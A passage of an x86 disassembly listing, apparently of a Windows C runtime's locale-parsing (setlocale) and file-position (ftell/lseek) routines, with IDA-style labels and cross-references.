jmp loc_42DE5B ; --------------------------------------------------------------------------- loc_42DB21: ; CODE XREF: _0:0042DAE1j mov dword ptr [ebp-14h], 1 mov dword ptr [ebp-0Ch], 0 cmp dword ptr [ebp+0Ch], 0 jz loc_42DE53 mov eax, [ebp+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 4Ch jnz loc_42DD64 mov edx, [ebp+0Ch] movsx eax, byte ptr [edx+1] cmp eax, 43h jnz loc_42DD64 mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+2] cmp edx, 5Fh jnz loc_42DD64 mov eax, [ebp+0Ch] mov [ebp-9Ch], eax loc_42DB71: ; CODE XREF: _0:0042DD33j push offset asc_43D3E4 ; "=;" mov ecx, [ebp-9Ch] push ecx call sub_434E70 add esp, 8 mov [ebp-0A0h], eax cmp dword ptr [ebp-0A0h], 0 jz short loc_42DBBD mov edx, [ebp-0A0h] sub edx, [ebp-9Ch] mov [ebp-0A4h], edx cmp dword ptr [ebp-0A4h], 0 jz short loc_42DBBD mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jnz short loc_42DBE3 loc_42DBBD: ; CODE XREF: _0:0042DB92j _0:0042DBADj cmp dword ptr [ebp-4], 0 jz short loc_42DBDC push 13h call sub_423320 add esp, 4 mov edx, ds:dword_4F37C4 sub edx, 1 mov ds:dword_4F37C4, edx loc_42DBDC: ; CODE XREF: _0:0042DBC1j xor eax, eax jmp loc_42DE7B ; --------------------------------------------------------------------------- loc_42DBE3: ; CODE XREF: _0:0042DBBBj mov dword ptr [ebp-10h], 1 jmp short loc_42DBF5 ; --------------------------------------------------------------------------- loc_42DBEC: ; CODE XREF: _0:loc_42DC41j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_42DBF5: ; CODE XREF: _0:0042DBEAj cmp dword ptr [ebp-10h], 5 jg short loc_42DC43 mov ecx, [ebp-0A4h] push ecx mov edx, [ebp-9Ch] push edx mov eax, [ebp-10h] imul eax, 0Ch mov ecx, ds:off_4542C0[eax] push ecx call sub_41F5E0 add esp, 0Ch test eax, eax jnz short loc_42DC41 mov edx, [ebp-10h] imul edx, 0Ch mov eax, ds:off_4542C0[edx] push eax call sub_41BC70 add esp, 4 cmp [ebp-0A4h], eax jnz short loc_42DC41 jmp short loc_42DC43 ; --------------------------------------------------------------------------- loc_42DC41: ; CODE XREF: _0:0042DC20j _0:0042DC3Dj jmp short loc_42DBEC ; --------------------------------------------------------------------------- loc_42DC43: ; CODE XREF: _0:0042DBF9j _0:0042DC3Fj push offset asc_43D3E0 ; ";" mov ecx, [ebp-0A0h] add ecx, 1 mov [ebp-0A0h], ecx mov edx, [ebp-0A0h] push edx call sub_434E30 add esp, 8 mov [ebp-0A4h], eax cmp dword ptr [ebp-0A4h], 0 jnz short loc_42DCA9 mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jz short loc_42DCA9 cmp dword ptr [ebp-4], 0 jz short loc_42DCA2 push 13h call sub_423320 add esp, 4 mov edx, ds:dword_4F37C4 sub edx, 1 mov ds:dword_4F37C4, edx loc_42DCA2: ; CODE XREF: _0:0042DC87j xor eax, eax jmp loc_42DE7B ; --------------------------------------------------------------------------- loc_42DCA9: ; CODE XREF: _0:0042DC73j _0:0042DC81j cmp dword ptr [ebp-10h], 5 jg short loc_42DCFA mov eax, [ebp-0A4h] push eax mov ecx, [ebp-0A0h] push ecx lea edx, [ebp-98h] push edx call sub_41E510 add esp, 0Ch mov eax, [ebp-0A4h] mov byte ptr [ebp+eax-98h], 0 lea ecx, [ebp-98h] push ecx mov edx, [ebp-10h] push edx call sub_42DE80 add esp, 8 test eax, eax jz short loc_42DCFA mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_42DCFA: ; CODE XREF: _0:0042DCADj _0:0042DCEFj mov ecx, [ebp-0A0h] add ecx, [ebp-0A4h] mov [ebp-9Ch], ecx mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jz short loc_42DD28 mov ecx, [ebp-9Ch] add ecx, 1 mov [ebp-9Ch], ecx loc_42DD28: ; CODE XREF: _0:0042DD17j mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jnz loc_42DB71 cmp dword ptr [ebp-0Ch], 0 jz short loc_42DD4C call sub_42E020 mov [ebp-0ACh], eax jmp short loc_42DD56 ; --------------------------------------------------------------------------- loc_42DD4C: ; CODE XREF: _0:0042DD3Dj mov dword ptr [ebp-0ACh], 0 loc_42DD56: ; CODE XREF: _0:0042DD4Aj mov ecx, [ebp-0ACh] mov [ebp-8], ecx jmp loc_42DE51 ; --------------------------------------------------------------------------- loc_42DD64: ; CODE XREF: _0:0042DB42j _0:0042DB52j ... mov edx, [ebp+8] push edx push 0 push 0 lea eax, [ebp-98h] push eax mov ecx, [ebp+0Ch] push ecx call sub_42E120 add esp, 14h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_42DE51 mov dword ptr [ebp-10h], 0 jmp short loc_42DD9E ; --------------------------------------------------------------------------- loc_42DD95: ; CODE XREF: _0:loc_42DDFEj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42DD9E: ; CODE XREF: _0:0042DD93j cmp dword ptr [ebp-10h], 5 jg short loc_42DE00 cmp dword ptr [ebp-10h], 0 jz short loc_42DDFE mov eax, [ebp-10h] imul eax, 0Ch mov ecx, ds:dword_4542C4[eax] push ecx lea edx, [ebp-98h] push edx call sub_41F7E0 add esp, 8 test eax, eax jz short loc_42DDF5 lea eax, [ebp-98h] push eax mov ecx, [ebp-10h] push ecx call sub_42DE80 add esp, 8 test eax, eax jz short loc_42DDEC mov edx, [ebp-0Ch] add edx, 1 mov [ebp-0Ch], edx jmp short loc_42DDF3 ; --------------------------------------------------------------------------- loc_42DDEC: ; CODE XREF: _0:0042DDDFj mov dword ptr [ebp-14h], 0 loc_42DDF3: ; CODE XREF: _0:0042DDEAj jmp short loc_42DDFE ; --------------------------------------------------------------------------- loc_42DDF5: ; CODE XREF: _0:0042DDC8j mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_42DDFE: ; CODE XREF: _0:0042DDA8j ; _0:loc_42DDF3j jmp short loc_42DD95 ; --------------------------------------------------------------------------- loc_42DE00: ; CODE XREF: _0:0042DDA2j cmp dword ptr [ebp-14h], 0 jz short loc_42DE2B call sub_42E020 mov [ebp-8], eax push 2 mov ecx, ds:dword_4542C4 push ecx call sub_41CA10 add esp, 8 mov ds:dword_4542C4, 0 jmp short loc_42DE51 ; --------------------------------------------------------------------------- loc_42DE2B: ; CODE XREF: _0:0042DE04j cmp dword ptr [ebp-0Ch], 0 jz short loc_42DE3E call sub_42E020 mov [ebp-0B0h], eax jmp short loc_42DE48 ; --------------------------------------------------------------------------- loc_42DE3E: ; CODE XREF: _0:0042DE2Fj mov dword ptr [ebp-0B0h], 0 loc_42DE48: ; CODE XREF: _0:0042DE3Cj mov edx, [ebp-0B0h] mov [ebp-8], edx loc_42DE51: ; CODE XREF: _0:0042DD5Fj _0:0042DD86j ... jmp short loc_42DE5B ; --------------------------------------------------------------------------- loc_42DE53: ; CODE XREF: _0:0042DB33j call sub_42E020 mov [ebp-8], eax loc_42DE5B: ; CODE XREF: _0:0042DB1Cj ; _0:loc_42DE51j cmp dword ptr [ebp-4], 0 jz short loc_42DE78 push 13h call sub_423320 add esp, 4 mov eax, ds:dword_4F37C4 sub eax, 1 mov ds:dword_4F37C4, eax loc_42DE78: ; CODE XREF: _0:0042DE5Fj mov eax, [ebp-8] loc_42DE7B: ; CODE XREF: _0:0042DAA7j _0:0042DBDEj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DE80 proc near ; CODE XREF: _0:0042DAF1p _0:0042DCE5p ... var_A8 = dword ptr -0A8h var_A0 = dword ptr -0A0h var_9C = byte ptr -9Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_A0] push ecx lea edx, [ebp+var_A8] push edx lea eax, [ebp+var_9C] push eax mov ecx, [ebp+arg_4] push ecx call sub_42E120 add esp, 14h test eax, eax jnz short loc_42DEB9 xor eax, eax jmp loc_42E00F ; --------------------------------------------------------------------------- loc_42DEB9: ; CODE XREF: sub_42DE80+30j push 132h push offset aSetlocal_c ; "setlocal.c" push 2 lea edx, [ebp+var_9C] push edx call sub_41BC70 add esp, 4 add eax, 1 push eax call sub_41BE70 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42DEF0 xor eax, eax jmp loc_42E00F ; --------------------------------------------------------------------------- loc_42DEF0: ; CODE XREF: sub_42DE80+67j mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, ds:dword_4542C4[eax] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, ds:dword_4F33F0[edx*4] mov [ebp+var_4], eax push 6 mov ecx, [ebp+arg_0] imul ecx, 6 add ecx, offset dword_4F3630 push ecx lea edx, [ebp+var_14] push edx call sub_41FBF0 add esp, 0Ch mov eax, ds:dword_4F3408 mov [ebp+var_18], eax lea ecx, [ebp+var_9C] push ecx mov edx, [ebp+var_8] push edx call sub_41F620 add esp, 8 mov ecx, [ebp+arg_0] imul ecx, 0Ch mov ds:dword_4542C4[ecx], eax mov edx, [ebp+var_A8] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ds:dword_4F33F0[eax*4], edx push 6 lea ecx, [ebp+var_A8] push ecx mov edx, [ebp+arg_0] imul edx, 6 add edx, offset dword_4F3630 push edx call sub_41FBF0 add esp, 0Ch cmp [ebp+arg_0], 2 jnz short loc_42DF93 mov eax, [ebp+var_A0] mov ds:dword_4F3408, eax loc_42DF93: ; CODE XREF: sub_42DE80+106j cmp [ebp+arg_0], 1 jnz short loc_42DFA5 mov ecx, [ebp+var_A0] mov ds:dword_4F340C, ecx loc_42DFA5: ; CODE XREF: sub_42DE80+117j mov edx, [ebp+arg_0] imul edx, 0Ch call ds:off_4542C8[edx] test eax, eax jz short loc_42DFEC mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, [ebp+var_C] mov ds:dword_4542C4[eax], ecx push 2 mov edx, [ebp+var_8] push edx call sub_41CA10 add esp, 8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov ds:dword_4F33F0[eax*4], ecx mov edx, [ebp+var_18] mov ds:dword_4F3408, edx xor eax, eax jmp short loc_42E00F ; --------------------------------------------------------------------------- loc_42DFEC: ; CODE XREF: sub_42DE80+133j cmp [ebp+var_C], offset dword_4541B4 jz short loc_42E003 push 2 mov eax, [ebp+var_C] push eax call sub_41CA10 add esp, 8 loc_42E003: ; CODE XREF: sub_42DE80+173j mov ecx, [ebp+arg_0] imul ecx, 0Ch mov eax, ds:dword_4542C4[ecx] loc_42E00F: ; CODE XREF: sub_42DE80+34j ; sub_42DE80+6Bj ... mov esp, ebp pop ebp retn sub_42DE80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E020 proc near ; CODE XREF: _0:0042DD3Fp _0:0042DE06p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 1 cmp ds:dword_4542C4, 0 jnz short loc_42E054 push 167h push offset aSetlocal_c ; "setlocal.c" push 2 push 351h call sub_41BE70 add esp, 10h mov ds:dword_4542C4, eax loc_42E054: ; CODE XREF: sub_42E020+14j mov eax, ds:dword_4542C4 mov byte ptr [eax], 0 mov [ebp+var_4], 1 jmp short loc_42E06E ; --------------------------------------------------------------------------- loc_42E065: ; CODE XREF: sub_42E020:loc_42E117j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42E06E: ; CODE XREF: sub_42E020+43j mov edx, [ebp+var_4] imul edx, 0Ch mov eax, ds:dword_4542C4[edx] push eax push offset asc_43D3F4 ; "=" mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, ds:off_4542C0[ecx] push edx push 3 mov eax, ds:dword_4542C4 push eax call sub_42E2C0 add esp, 14h cmp [ebp+var_4], 5 jge short loc_42E0E9 push offset asc_43D3E0 ; ";" mov ecx, ds:dword_4542C4 push ecx call sub_41F630 add esp, 8 mov edx, [ebp+var_4] add edx, 1 imul edx, 0Ch mov eax, ds:dword_4542C4[edx] push eax mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, ds:dword_4542C4[ecx] push edx call sub_41F7E0 add esp, 8 test eax, eax jz short loc_42E0E7 mov [ebp+var_8], 0 loc_42E0E7: ; CODE XREF: sub_42E020+BEj jmp short loc_42E117 ; --------------------------------------------------------------------------- loc_42E0E9: ; CODE XREF: sub_42E020+81j cmp [ebp+var_8], 0 jnz short loc_42E0F6 mov eax, ds:dword_4542C4 jmp short loc_42E11C ; --------------------------------------------------------------------------- loc_42E0F6: ; CODE XREF: sub_42E020+CDj push 2 mov eax, ds:dword_4542C4 push eax call sub_41CA10 add esp, 8 mov ds:dword_4542C4, 0 mov eax, ds:off_4542DC jmp short loc_42E11C ; --------------------------------------------------------------------------- loc_42E117: ; CODE XREF: sub_42E020:loc_42E0E7j jmp loc_42E065 ; --------------------------------------------------------------------------- loc_42E11C: ; CODE XREF: sub_42E020+D4j ; sub_42E020+F5j mov esp, ebp pop ebp retn sub_42E020 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E120 proc near ; CODE XREF: _0:0042DD77p ; sub_42DE80+26p var_88 = byte ptr -88h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 88h cmp [ebp+arg_0], 0 jnz short loc_42E136 xor eax, eax jmp loc_42E2A0 ; --------------------------------------------------------------------------- loc_42E136: ; CODE XREF: sub_42E120+Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 43h jnz short loc_42E190 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+1] test eax, eax jnz short loc_42E190 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 43h mov edx, [ebp+arg_4] mov byte ptr [edx+1], 0 cmp [ebp+arg_8], 0 jz short loc_42E179 mov eax, [ebp+arg_8] mov word ptr [eax], 0 mov ecx, [ebp+arg_8] mov word ptr [ecx+2], 0 mov edx, [ebp+arg_8] mov word ptr [edx+4], 0 loc_42E179: ; CODE XREF: sub_42E120+3Dj cmp [ebp+arg_C], 0 jz short loc_42E188 mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_42E188: ; CODE XREF: sub_42E120+5Dj mov eax, [ebp+arg_4] jmp loc_42E2A0 ; --------------------------------------------------------------------------- loc_42E190: ; CODE XREF: sub_42E120+1Fj ; sub_42E120+2Aj mov ecx, [ebp+arg_0] push ecx push offset dword_45423C call sub_41F7E0 add esp, 8 test eax, eax jz loc_42E258 mov edx, [ebp+arg_0] push edx push offset dword_4541B8 call sub_41F7E0 add esp, 8 test eax, eax jz loc_42E258 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_88] push ecx call sub_42E310 add esp, 8 test eax, eax jz short loc_42E1E0 xor eax, eax jmp loc_42E2A0 ; --------------------------------------------------------------------------- loc_42E1E0: ; CODE XREF: sub_42E120+B7j lea edx, [ebp+var_88] push edx push offset dword_4F3410 lea eax, [ebp+var_88] push eax call sub_434EB0 add esp, 0Ch test eax, eax jnz short loc_42E206 xor eax, eax jmp loc_42E2A0 ; --------------------------------------------------------------------------- loc_42E206: ; CODE XREF: sub_42E120+DDj xor ecx, ecx mov cx, ds:word_4F3414 mov ds:dword_4F3418, ecx lea edx, [ebp+var_88] push edx push offset dword_45423C call sub_42E470 add esp, 8 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42E246 mov edx, [ebp+arg_0] push edx push offset dword_4541B8 call sub_41F620 add esp, 8 jmp short loc_42E258 ; --------------------------------------------------------------------------- loc_42E246: ; CODE XREF: sub_42E120+111j push offset dword_45423C push offset dword_4541B8 call sub_41F620 add esp, 8 loc_42E258: ; CODE XREF: sub_42E120+83j ; sub_42E120+9Cj ... cmp [ebp+arg_8], 0 jz short loc_42E271 push 6 push offset dword_4F3410 mov eax, [ebp+arg_8] push eax call sub_41FBF0 add esp, 0Ch loc_42E271: ; CODE XREF: sub_42E120+13Cj cmp [ebp+arg_C], 0 jz short loc_42E28A push 4 push offset dword_4F3418 mov ecx, [ebp+arg_C] push ecx call sub_41FBF0 add esp, 0Ch loc_42E28A: ; CODE XREF: sub_42E120+155j push offset dword_45423C mov edx, [ebp+arg_4] push edx call sub_41F620 add esp, 8 mov eax, offset dword_45423C loc_42E2A0: ; CODE XREF: sub_42E120+11j ; sub_42E120+6Bj ... mov esp, ebp pop ebp retn sub_42E120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E2B0 proc near ; CODE XREF: sub_42DE80+12Bp ; DATA XREF: _2:off_4542C8o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42E2B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E2C0 proc near ; CODE XREF: sub_42E020+75p ; sub_42E470+30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+arg_8] mov [ebp+var_4], eax mov [ebp+var_8], 0 jmp short loc_42E2DE ; --------------------------------------------------------------------------- loc_42E2D5: ; CODE XREF: sub_42E2C0+42j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42E2DE: ; CODE XREF: sub_42E2C0+13j mov edx, [ebp+var_8] cmp edx, [ebp+arg_4] jge short loc_42E304 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx-4] push edx mov eax, [ebp+arg_0] push eax call sub_41F630 add esp, 8 jmp short loc_42E2D5 ; --------------------------------------------------------------------------- loc_42E304: ; CODE XREF: sub_42E2C0+24j mov [ebp+var_4], 0 mov esp, ebp pop ebp retn sub_42E2C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E310 proc near ; CODE XREF: sub_42E120+ADp var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 88h push 0 mov eax, [ebp+arg_0] push eax call sub_41E4B0 add esp, 0Ch mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42E33A xor eax, eax jmp loc_42E469 ; --------------------------------------------------------------------------- loc_42E33A: ; CODE XREF: sub_42E310+21j mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_42E370 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] test eax, eax jz short loc_42E370 mov ecx, [ebp+arg_4] add ecx, 1 push ecx mov edx, [ebp+arg_0] add edx, 80h push edx call sub_41F620 add esp, 8 xor eax, eax jmp loc_42E469 ; --------------------------------------------------------------------------- loc_42E370: ; CODE XREF: sub_42E310+33j ; sub_42E310+3Ej mov [ebp+var_4], 0 jmp short loc_42E382 ; --------------------------------------------------------------------------- loc_42E379: ; CODE XREF: sub_42E310+152j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42E382: ; CODE XREF: sub_42E310+67j push offset a___0 ; "_.," mov ecx, [ebp+arg_4] push ecx call sub_434E30 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42E3A4 or eax, 0FFFFFFFFh jmp loc_42E469 ; --------------------------------------------------------------------------- loc_42E3A4: ; CODE XREF: sub_42E310+8Aj mov edx, [ebp+arg_4] add edx, [ebp+var_C] mov al, [edx] mov [ebp+var_8], al cmp [ebp+var_4], 0 jnz short loc_42E3DA cmp [ebp+var_C], 40h jge short loc_42E3DA movsx ecx, [ebp+var_8] cmp ecx, 2Eh jz short loc_42E3DA mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41E510 add esp, 0Ch jmp short loc_42E440 ; --------------------------------------------------------------------------- loc_42E3DA: ; CODE XREF: sub_42E310+A3j ; sub_42E310+A9j ... cmp [ebp+var_4], 1 jnz short loc_42E408 cmp [ebp+var_C], 40h jge short loc_42E408 movsx edx, [ebp+var_8] cmp edx, 5Fh jz short loc_42E408 mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] add edx, 40h push edx call sub_41E510 add esp, 0Ch jmp short loc_42E440 ; --------------------------------------------------------------------------- loc_42E408: ; CODE XREF: sub_42E310+CEj ; sub_42E310+D4j ... cmp [ebp+var_4], 2 jnz short loc_42E43B movsx eax, [ebp+var_8] test eax, eax jz short loc_42E41F movsx ecx, [ebp+var_8] cmp ecx, 2Ch jnz short loc_42E43B loc_42E41F: ; CODE XREF: sub_42E310+104j mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] add ecx, 80h push ecx call sub_41E510 add esp, 0Ch jmp short loc_42E440 ; --------------------------------------------------------------------------- loc_42E43B: ; CODE XREF: sub_42E310+FCj ; sub_42E310+10Dj or eax, 0FFFFFFFFh jmp short loc_42E469 ; --------------------------------------------------------------------------- loc_42E440: ; CODE XREF: sub_42E310+C8j ; sub_42E310+F6j ... movsx edx, [ebp+var_8] cmp edx, 2Ch jnz short loc_42E44B jmp short loc_42E467 ; --------------------------------------------------------------------------- loc_42E44B: ; CODE XREF: sub_42E310+137j movsx eax, [ebp+var_8] test eax, eax jnz short loc_42E455 jmp short loc_42E467 ; --------------------------------------------------------------------------- loc_42E455: ; CODE XREF: sub_42E310+141j mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] lea eax, [edx+ecx+1] mov [ebp+arg_4], eax jmp loc_42E379 ; --------------------------------------------------------------------------- loc_42E467: ; CODE XREF: sub_42E310+139j ; sub_42E310+143j xor eax, eax loc_42E469: ; CODE XREF: sub_42E310+25j ; sub_42E310+5Bj ... mov esp, ebp pop ebp retn sub_42E310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E470 proc near ; CODE XREF: sub_42E120+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41F620 add esp, 8 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+40h] test eax, eax jz short loc_42E4A8 mov ecx, [ebp+arg_4] add ecx, 40h push ecx push offset a__5 ; "_" push 2 mov edx, [ebp+arg_0] push edx call sub_42E2C0 add esp, 10h loc_42E4A8: ; CODE XREF: sub_42E470+1Cj mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+80h] test ecx, ecx jz short loc_42E4D3 mov edx, [ebp+arg_4] add edx, 80h push edx push offset a__4 ; "." push 2 mov eax, [ebp+arg_0] push eax call sub_42E2C0 add esp, 10h loc_42E4D3: ; CODE XREF: sub_42E470+44j pop ebp retn sub_42E470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E4E0 proc near ; CODE XREF: sub_421050+10Ep ; sub_427CE0+216p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4F37C0 jnb short loc_42E511 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42E52C loc_42E511: ; CODE XREF: sub_42E4E0+Dj call sub_429A90 mov dword ptr [eax], 9 call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42E55E ; --------------------------------------------------------------------------- loc_42E52C: ; CODE XREF: sub_42E4E0+2Fj mov edx, [ebp+arg_0] push edx call sub_431070 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42E570 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_431100 add esp, 4 mov eax, [ebp+var_4] loc_42E55E: ; CODE XREF: sub_42E4E0+4Aj mov esp, ebp pop ebp retn sub_42E4E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E570 proc near ; CODE XREF: sub_427380+40Dp ; sub_42E4E0+64p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_430EF0 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_42E59E call sub_429A90 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_42E61E ; --------------------------------------------------------------------------- loc_42E59E: ; CODE XREF: sub_42E570+19j mov ecx, [ebp+arg_8] push ecx push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_C] push eax call ds:off_4F53F4 mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_42E5C6 call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_42E5CD ; --------------------------------------------------------------------------- loc_42E5C6: ; CODE XREF: sub_42E570+49j mov [ebp+var_4], 0 loc_42E5CD: ; CODE XREF: sub_42E570+54j cmp [ebp+var_4], 0 jz short loc_42E5E4 mov ecx, [ebp+var_4] push ecx call sub_4299F0 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42E61E ; --------------------------------------------------------------------------- loc_42E5E4: ; CODE XREF: sub_42E570+61j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4F36C0[edx*4] mov dl, [ecx+eax+4] and dl, 0FDh mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, ds:dword_4F36C0[eax*4] mov [eax+ecx+4], dl mov eax, [ebp+var_8] loc_42E61E: ; CODE XREF: sub_42E570+29j ; sub_42E570+72j mov esp, ebp pop ebp retn sub_42E570 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_42E637: ; CODE XREF: _0:0042E65Fj cmp dword ptr [ebp+8], 0 jnz short loc_42E65B push offset dword_43C504 push 0 push 32h push offset aFtell_c ; "ftell.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_42E65B int 3 ; Trap to Debugger loc_42E65B: ; CODE XREF: _0:0042E63Bj _0:0042E658j xor eax, eax test eax, eax jnz short loc_42E637 mov ecx, [ebp+8] push ecx call sub_422420 add esp, 4 mov edx, [ebp+8] push edx call sub_42E6A0 add esp, 4 mov [ebp-4], eax mov eax, [ebp+8] push eax call sub_422490 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E6A0 proc near ; CODE XREF: sub_421050+87p ; _0:0042E671p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi loc_42E6A9: ; CODE XREF: sub_42E6A0+31j cmp [ebp+arg_0], 0 jnz short loc_42E6CD push offset dword_43C514 push 0 push 63h push offset aFtell_c ; "ftell.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_42E6CD int 3 ; Trap to Debugger loc_42E6CD: ; CODE XREF: sub_42E6A0+Dj ; sub_42E6A0+2Aj xor eax, eax test eax, eax jnz short loc_42E6A9 mov ecx, [ebp+arg_0] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov eax, [edx+10h] mov [ebp+var_8], eax mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jge short loc_42E6F5 mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 loc_42E6F5: ; CODE XREF: sub_42E6A0+49j push 1 push 0 mov eax, [ebp+var_8] push eax call sub_42E4E0 add esp, 0Ch mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jge short loc_42E716 or eax, 0FFFFFFFFh jmp loc_42E933 ; --------------------------------------------------------------------------- loc_42E716: ; CODE XREF: sub_42E6A0+6Cj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jnz short loc_42E736 mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] sub ecx, [eax+4] mov eax, ecx jmp loc_42E933 ; --------------------------------------------------------------------------- loc_42E736: ; CODE 